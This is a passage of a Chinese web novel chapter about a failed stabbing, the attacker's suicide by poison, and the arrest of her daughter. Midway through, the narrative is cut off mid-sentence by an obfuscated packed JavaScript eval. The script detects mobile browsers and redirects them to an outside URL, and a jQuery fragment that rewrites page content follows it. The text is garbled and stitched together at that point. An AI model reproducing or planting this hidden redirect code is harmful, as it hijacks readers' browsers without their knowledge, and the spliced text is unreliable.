站在归宁背后推动轮椅的萧元绰最先看到了那闪着寒光的刀锋,可宽大的轮椅挡在面前,让他赶不及绕过身去,本能地伸出右手去阻挡。
电光火石之间,萧元绰死死握住了邓氏刺来的匕首,锋利的刀锋割破了萧元绰的手心和五指,也吓坏了不能行动的归宁,只听她突然惊叫一声……
屋外的小周王听到动静,哐当一声踢开木门,屋外的阳光洒落进来,照亮了屋内的惊险一幕。
邓氏见不仅没有杀了归宁,反而伤到了儿子,整个人都有些发怔。又是害怕又是后悔,呆愣愣地松了手中的匕首。
还未等众人回过神来,邓氏就被小周王的飞来一脚踢了出去。随后他快步来到归宁身侧,一把将轮椅推了出来,给她转了一个面朝门口的方向。
脱离了险状,又不再面对鲜血淋漓骇人之况的归宁,才得以缓口气。只见她大口喘息着,身体也因害怕而忍不住颤栗。
当时她真的是害怕极了,背后萧元绰推着她一直向前,身前邓氏猛然手握凶器扑了上来,前后的路都被堵死了,而她自己又行动不便。那一刻,她以为自己这辈子要比上辈子更憋屈的死去……
朱君澜见归宁吓破了胆,从地上捡起那张信笺递给她,有意分散她的注意力,关切道:“你瞧瞧,这信里有没有你想要的信息。”
归宁识海里浮现的全是萧元绰血淋淋的手,颤声道:“夫君的手……”
朱君澜撇头看了一眼,淡声道:“不要紧,你放心。”话语间全是轻松。这也不是他故意,而是对于常年在沿海一带与倭寇周旋的王府诸人来说,这种小伤他实在是稀松平常,算不得什么。
“你先看看信,是不是你们要找的那一封。”他突然觉得这个老妖婆恐怕没那么好心,所以才有此一问。
归宁闻言连忙打开信笺,随后更让她吃惊的一幕出现了,“母亲,这是白纸。”
正在给萧元绰包扎伤口的宋娘子闻言也走过来,不甘心地看了一眼,确认果真是白纸,才转向邓氏,厉声道:“你把信藏哪里了?快交出来。”
连萧元绰也急了,他没想到母亲竟然打了这样的主意,失望与愤怒包裹着他,“母亲,你太让儿子失望了。”
小周王可没有这么客气,走到邓氏跟前,一脚将人踹倒在地,踩着邓氏的头道,“交出来,否则立刻将你送进诏狱,让你尝尝那十八般刑具的厉害。”
邓氏不惧反笑,“那诏狱再是厉害,拿死人能有什么办法?”
话音未落,暗黑色的血已经顺着她的嘴角淌了下来,这是服了毒药的迹象。
萧元绰见状上前一把推开朱君澜,蹲下身去,用未受伤的左手扶起邓氏,大声喊道:“快,快去请郎中……”
邓氏嘴角含笑,拉着萧元绰的手,缓缓道:“儿呀,原谅母亲以后不能陪着你了……”
宋娘子更关心那封信的下落,上前揪着邓氏的衣襟,又急又气,“信呢,你把信交出来……”
邓氏咯咯地笑了起来,笑得阴森又狰狞,“我已经烧了,想知道你儿子的消息,你做梦……”
宋娘子发了疯一般摇晃着邓氏,“你说,信里写了什么,你快说……”
邓氏脸上依旧是笑,又是讽刺,又是得意,尽管发作的毒药让她忍受着穿肠烂肚万蚁噬心之痛,她还是觉得满足,大口大口黑色的血从嘴里吐出来,她还是不忘讽刺宋娘子,“你儿子早死啦……哈哈……”
宋娘子从开始的怒发冲冠愤怒变成后来卑微的乞求,泪流满面,声音凄厉:“我求求你了,算我求你,告诉我信里的内容,我求你了。”
邓氏的身体慢慢瘫软下去,没有再回应她。
见她倒下去,失去理智的宋娘子对着她的身体又踢又踩,“你起来,你告诉我,我儿子在哪儿?你起来……”她狠狠地踹了两脚,嘶声力竭道:“我让你装死,我让你装死……你给我起来……”
萧元绰站在一旁,看着姑母发疯一般凌辱母亲的尸体,心里还是有些不忍,上前要劝,被宋娘子一把推开:“你也不是什么好东西。配合这个老妖婆坑害我女儿,害我女儿差点儿死在她的手下。”
“你们母子是对我们有多大仇,多大的怨,为什么就不肯放过我们呢?”
寻找儿子的希望落空,宋娘子心神崩溃,再也没了往日的体面与坚强,对着邓氏尸体发泄着不满与怨恨。
最后体力不支,昏厥了过去。
归宁见状立刻吩咐府里的婆子将母亲抬下去,送去孤芳苑交给周嬷嬷照看。
小周王上前,探了探邓氏的鼻息,向归宁摇了摇头,“应该是鹤顶红,不中用了。”
归宁胸膛堵着一口气,十分坚决道:“搜——,就是把福寿堂掘地三尺,也要找出来。”
哪里有当着外人的面自己抄检自己的理,萧元绰见归宁失了理智,想上前劝说两句。可尚未开口,触及道归宁凌厉的眼神和那因愤怒而憋得通红的双目,竟不知如何劝起。
朱君澜却不顾这些,他知道归宁和宋姨更想要的是结果,而不是什么虚妄的体面,出门对刘大人道:“这老虔婆畏罪自杀了,你们带人搜一搜,看看她有没有留下其他罪证,或者见不得光的东西。”
“务必要搜查仔细,不要错过什么重要东西。”
刘大人听罢,立刻带着一群官差进来准备搜院。
朱君澜巡睃了周遭一眼,最后目光落在一直躲在一旁默默不言的萧元荷身上,指了指道:“那老虔婆死之前,应该是这位娘子陪在跟前,先拿下去问话。”
刘大人丝毫不敢怠慢,摆手让身后的差役上前拿人,萧元荷见状厉声呵斥道:“大胆,我看谁敢!我是弘文伯府嫡出的大姑娘,如今是工部员外郎赵家明媒正娶的媳妇,我是萧家的外嫁女,你们凭什么动我?”
她不开口则以,这番辩解更让小周王抓住了把柄,“原来是你,那就太好了。”
“刘大人,你可知马大人因何事被贬黜的吗?”朱君澜只是轻轻一句提醒,就让刘大人看清了事情的严重情况。
刘大人是补了马大人的缺,他一上任就将马大人留下的案子仔仔细细翻阅了一遍,对眼前这位赵二奶奶并不陌生。
那个案子甚至惊动了宫里,有马大人这个前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649500|171000||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
车之鉴,他丝毫不敢松懈,不管萧元荷如何恐吓挣扎,还是当着弘文伯萧元绰的面给拿下了。
见对方丝毫不顾及自己的身份,萧元荷终于害怕了,如果任凭这些官差将自己带走,无论最后是有罪还是无罪,赵家都不愿意要她这种不干净的媳妇。
简哥儿已经死了,自己又不能生育,除了一副好皮囊,她什么都没有了。如果再保不住名声,赵家一定将她扫地出门。
对着站在回廊上的萧元绰哭求道:“弟弟,你说句话呀,让他们放了我,这里的事和我无关。”
“母亲并没有和我说什么,她只是让我陪她坐了片刻。”
“弟弟……我什么都没做”。
母亲已经死了,大姐姐是他在这个世间唯一的血脉至亲,面对萧元荷的苦苦哀求,萧元绰上前一步,刚要说话,就感觉背后有人轻轻拉扯自己的那只受伤的手。
回头看去,只见归宁目光楚楚地望向自己,温声细语道:“夫君,殿下办差是受了圣命。”
“夫君不要忘了,圣上并不喜欢萧家。”
“还有,圣上就是再不喜欢七皇子,可还是愿意为乐巧正名,夫君不要违了圣意才是。”
每一句提醒,都在萧元绰心上狠狠扎了一刀,他已经没有犹豫的空间和转圜的余地了。
要么被作恶多端的邓家拖下水,要么就和这些人彻底断绝关系。
想透这一层,萧元绰选择了默许,任由官差将萧元荷押了下去。
萧元荷恨毒了归宁,骂道:“宋归宁你这个小娼妇,与小周王暗通款曲,暗算我们萧家。你们这对奸夫□□,没安什么好心。”
萧元荷从小到大哪里受过这份委屈,嘴里的话越说越难听,最后小周王忍无可忍,对着雷驰摆了摆手,“按理说,男子汉大丈夫不应该和女人计较,怎奈这女子的嘴实在太脏太毒,孰不可忍,你去让她闭嘴。”
刘大人见状忙道:“这种事怎劳烦殿下的人动手?”转头对一旁的人道:“你们几个,随便找个什么东西给她堵上,别污了殿下的耳朵。”
押走萧元荷,朱君澜转身来到回廊上,对着萧元绰敷衍地行了一个拱手礼,随后绕过他,对他身后的归宁道:“宁妹是想回去休息,还是留在这里等着?”
这话本不该他来问,萧元绰抢先替归宁答道:“我们不打扰殿下办案,这就离开。”
这里进进出出都是各种外男,归宁作为内宅女子,应该避嫌,尽管心里不愿意,她还是顺着萧元绰的话道:“我们这就回避。”
朱君澜笑道:“宁妹若是不放心,就去一旁的厢房内稍后,等我们搜查完了这边,宁妹再腾出厢房便是。我额外派两个人在厢房外守着,不会出什么乱子。”
归宁还是有些犹豫不决,“那……”
萧元绰见她眼光看向自己,不安的心里终于定了定,转身推着归宁离开:“走吧,我们去厢房。”
这厢刚走出几步,归宁突然开口叮嘱道:“舅母喜欢在佛堂诵经,佛堂还请殿下留心搜查。”
朱君澜道:“你放心,佛堂和起居室我亲自带人搜。”